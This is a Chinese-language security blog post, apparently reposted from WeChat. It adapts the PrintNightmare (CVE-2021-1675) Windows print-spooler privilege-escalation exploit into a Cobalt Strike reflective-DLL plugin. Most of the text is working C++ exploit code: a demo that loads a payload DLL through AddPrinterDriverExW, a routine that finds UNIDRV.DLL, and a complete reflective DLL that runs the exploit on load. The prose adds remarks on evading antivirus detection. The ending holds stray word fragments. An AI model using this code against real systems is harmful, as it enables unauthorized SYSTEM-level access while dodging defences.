// LPE-Demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <stdio.h>

// uncidoe 
int wmain(int argc, wchar_t* argv[])
{
    WCHAR payloadPath[MAX_PATH] = { 0 };
    WCHAR driverPath[MAX_PATH] = { 0 };

    if (argc < 2) {
        printf("[*] Usage: LPE-Demo.exe driverPath payloadPath");
        exit(0);
    }
    wsprintf(driverPath, L"%s", argv[1]);
    wsprintf(payloadPath, L"%s", argv[2]);

    printf("\n");
    printf("driverPath: %ls\n", driverPath);
    printf("payloadPath: %ls\n", payloadPath);

    DRIVER_INFO_2 driverInfo;
    driverInfo.cVersion = 3;
    driverInfo.pDriverPath = driverPath;
    driverInfo.pDataFile = payloadPath;
    driverInfo.pConfigFile = payloadPath;
    driverInfo.pEnvironment = NULL;
    driverInfo.pName = (LPWSTR)L"demo";

    DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
    if (addPrinter != 0) {
        printf("[*] Success Done!\n");
    }
    else {
        printf("[-] GetLastError: %d\n", GetLastError());
    }
}

image-20230105195940377

这里驱动路径要自己找个有效的打印机驱动,我这里用了系统自带的UNIDRV.DLL,这个文件在哪里获取,下面有说。

因为每个系统的UNIDRV存放文件路径不一致,Twiter和github有不少师傅分享了自动获取UNIDRV.DLL的路径方法,做到了exp适配多个版本系统,因为影响的系统的spoolsv.exe大都是在64-bit运行的,所以你的payload.dll要对应到64位)。

wchar_t* findDLLPath() {

    wchar_t targetDLLPath[MAX_PATH] = { 0 };

    DWORD dwNeeded;
    LPBYTE lpDriverInfo;
    DWORD dwReturned;
    DRIVER_INFO_2* pInfo;
    DWORD i;

    EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);

    lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);

    if (lpDriverInfo == NULL) {

        return 0;

    }

    EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);

    pInfo = (DRIVER_INFO_2*)lpDriverInfo;

    for (i = 0; i < dwReturned; i++) {

        if (wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {

            wchar_t tempDrive1[_MAX_DRIVE] = { 0 };
            wchar_t tempDirectory1[_MAX_DIR] = { 0 };
            wchar_t tempFileName1[_MAX_FNAME] = { 0 };
            wchar_t tempFileExtension1[_MAX_EXT] = { 0 };

            _wsplitpath_s(pInfo->pDriverPath, &tempDrive1[0], _MAX_DRIVE, &tempDirectory1[0], _MAX_DIR, &tempFileName1[0], _MAX_FNAME, &tempFileExtension1[0], _MAX_EXT);

            wchar_t* targetDLLName = (LPWSTR)L"UNIDRV.DLL";

            wcscat_s(targetDLLPath, MAX_PATH, tempDrive1);
            wcscat_s(targetDLLPath, MAX_PATH, tempDirectory1);
            wcscat_s(targetDLLPath, MAX_PATH, targetDLLName);

            // 这个需要参考
            if (fileExists(targetDLLPath)) {

                LocalFree(lpDriverInfo);

                return targetDLLPath;

            }

        }

        pInfo++;
    }

    LocalFree(lpDriverInfo);

}

0x4.2 CVE-2021-34527

了解这个洞,能够使笔者对printnight有更深的认识。

CVE-2021-1675 漏洞点发生在RpcAddPrinterDriver但是观察上面的POC可以发现,我们是通过AddPrinterDriverExW来调用 我们细读文档,函数的第一个参数:

pName A pointer to a null-terminated string that specifies the name of the server on which the driver should be installed. If this parameter is NULL, the function installs the driver on the local computer. 可以发现这里可以指定一个server的名称,为空的话,则代表安装到本地 根据腾讯给出的公告,1675调用的漏洞链是:AddPrinterDriverExW->RpcAddPrinterDriver,但是这个过程没给出具体分析。

网上很多文章都说CVE-2021-34527漏洞点发生在RpcAsyncAddPrinterDriver笔者去查阅了漏洞官方通告并感谢两个大佬(原作者)。

然后又去翻Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)最初发的POC,公布原因:两位大佬以为自己撞洞。 https://github.com/numanturle/PrintNightmare

是不是看完很迷惑,笔者到这里已经自闭,但仍然坚持进行信息检索。

翻了下twitter的时间线: 当时有人测试出了CVE-2021-1675,在DC环境是可以成功的,还有具体的图,说明只是修补了本地的洞。

其中官方信息提到CVE-2021-1675关于win2019 这个洞的补丁是KB5003646,如图所示,但exp依然打成功了。 后继续翻@gentilkiwi的twitter 也发现了很多有趣的探讨和利用,等待后续的深入研究。

0x4.3 小结

有趣的是,除了这两个CVE-2021-1675、CVE-2021-34527 被广泛分析之外,未披露POC的有CVE-2021-34481、CVE-2021-36958,猜测是通过寻找新的端点绕过权限验证来RCE。 笔者对这个漏洞的前世今生很感兴趣,因为目前环境并不允许,也与本文主题关系不大,所以就此作罢,后面会对这个漏洞进行学习和实操分析,梳理好这个时间线。

0x5 EXP->CS插件

前人的肩膀:CVE-2021-1675-LPE这里利用的是CVE-2021-1675,直接设置server那么为空,来本地加载驱动。

目标: \1) 可作为提权模块,成为elevate的一个子项 \2) 添加到命令行,指定加载DLL文件

部分代码如下:

#include "ReflectiveLoader.h"

extern HINSTANCE hAppInstance;

#include <stdlib.h>
#include <stdio.h>
#include <Winspool.h>
#include <string>

wchar_t* charTowchar(char* str) {
    int iSize = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
    wchar_t* convertStr = (wchar_t *)malloc(iSize * sizeof(wchar_t));
    MultiByteToWideChar(CP_UTF8, 0, str, -1, convertStr, iSize);
    return convertStr;
}

int fileExists(wchar_t* file) {
    WIN32_FIND_DATA FindFileData;
    HANDLE handle = FindFirstFileW(file, &FindFileData);
    int found = handle != INVALID_HANDLE_VALUE;
    if (found) {
        FindClose(handle);
    }
    return found;
}

wchar_t* findDLLPath() {

    wchar_t targetDLLPath[MAX_PATH] = { 0 };

    DWORD dwNeeded;
    LPBYTE lpDriverInfo;
    DWORD dwReturned;
    DRIVER_INFO_2* pInfo;
    DWORD i;

    EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);

    lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
    if (lpDriverInfo == NULL) {
        return 0;
    }

    EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);

    pInfo = (DRIVER_INFO_2*)lpDriverInfo;

    for (i = 0; i < dwReturned; i++) {

        if (wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {

            wchar_t tempDrive1[_MAX_DRIVE] = { 0 };
            wchar_t tempDirectory1[_MAX_DIR] = { 0 };
            wchar_t tempFileName1[_MAX_FNAME] = { 0 };
            wchar_t tempFileExtension1[_MAX_EXT] = { 0 };

            _wsplitpath_s(pInfo->pDriverPath, &tempDrive1[0], _MAX_DRIVE, &tempDirectory1[0], _MAX_DIR, &tempFileName1[0], _MAX_FNAME, &tempFileExtension1[0], _MAX_EXT);

            wchar_t* targetDLLName = (LPWSTR)L"UNIDRV.DLL";

            wcscat_s(targetDLLPath, MAX_PATH, tempDrive1);
            wcscat_s(targetDLLPath, MAX_PATH, tempDirectory1);
            wcscat_s(targetDLLPath, MAX_PATH, targetDLLName);

            if (fileExists(targetDLLPath)) {

                LocalFree(lpDriverInfo);

                return targetDLLPath;
            }

        }

        pInfo++;
    }

    LocalFree(lpDriverInfo);

}

int CVE_2021_1675_LPE(wchar_t* pthDll) {
    printf("\n[*] CVE-2021-1675 LPE Exploit\n");
    printf("[*] Modified by: xq17 \n");
    printf("[*] Code Reference: Halil Dalabasmaz (@hlldz) \n");

    WCHAR payloadPath[MAX_PATH] = { 0 };
    WCHAR targetDLLPath[MAX_PATH] = { 0 };

    wsprintf(payloadPath, L"%s", pthDll);
    wsprintf(targetDLLPath, L"%ls", findDLLPath());
    printf("\npayloadPath: %ls\n", payloadPath);
    printf("targetDLLPath: %ls\n\n" ,targetDLLPath);

    DRIVER_INFO_2 driverInfo;
    driverInfo.cVersion = 3;
    driverInfo.pConfigFile = payloadPath;
    //driverInfo.pDataFile = (LPWSTR)L"C:\\Windows\\System32\\kernel32.dll";
    driverInfo.pDataFile = payloadPath;
    driverInfo.pDriverPath = targetDLLPath;
    driverInfo.pEnvironment = NULL;
    driverInfo.pName = (LPWSTR)L"SunKorean";

    DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
    if(addPrinter){
        printf("[*] AddPrinterDriverExW Ok, done!\n");
    }
    else {
        printf("[-] AddPrinterDriverExW Error, failed!\n");
    }
    printf("[*] All done. GetLastError: %d\n", GetLastError());

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        /* print some output to the operator */
        if (strlen((char *)lpReserved) > 0){
            CVE_2021_1675_LPE(charTowchar((char *)lpReserved));
        }
        else {
            printf("Error, No Paramter!\n");
        }
        /* flush STDOUT */
        fflush(stdout);

        /* we're done, so let'exit */
        ExitProcess(0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

编译之前记得处理下预处理器:

NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions)

因为这个洞是利用DLL加载来实现LPE的,所以你的利用DLL必须要支持过静态查杀(比较简单) 经过测试,能过window server的window defender,但360会拦截spoolsv进程加载未签名的驱动(可疑程序拦截)。

项目地址: https://github.com/mstxq17/CVE-2021-1675_RDL_LPE

0x6 总结

本文是偏应用实践类型的文章,其中笔者把日常渗透的一个小场景需求作为出发点,通过对比学习DLL的两种注入手段,理解了Cobalt Strike的DLL反射加载原理,接下来通过简单分析学习PrintNightMare漏洞后,用CS的插件实现在内存层面利用漏洞,从而躲避AV查杀,完成提权需求。

https://xz.aliyun.com/t/10191

wx

webshell

PPL

360

webshell

64使

webshell

360+


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247505903&idx=1&sn=b951023e0fb04a871748bde87ebf5802&chksm=ce676d53f910e445c9d703d7f617c8900f5136b064838b49194e37fdb107198b15ce8a122c01#rd
如有侵权请联系:admin#unsafe.sh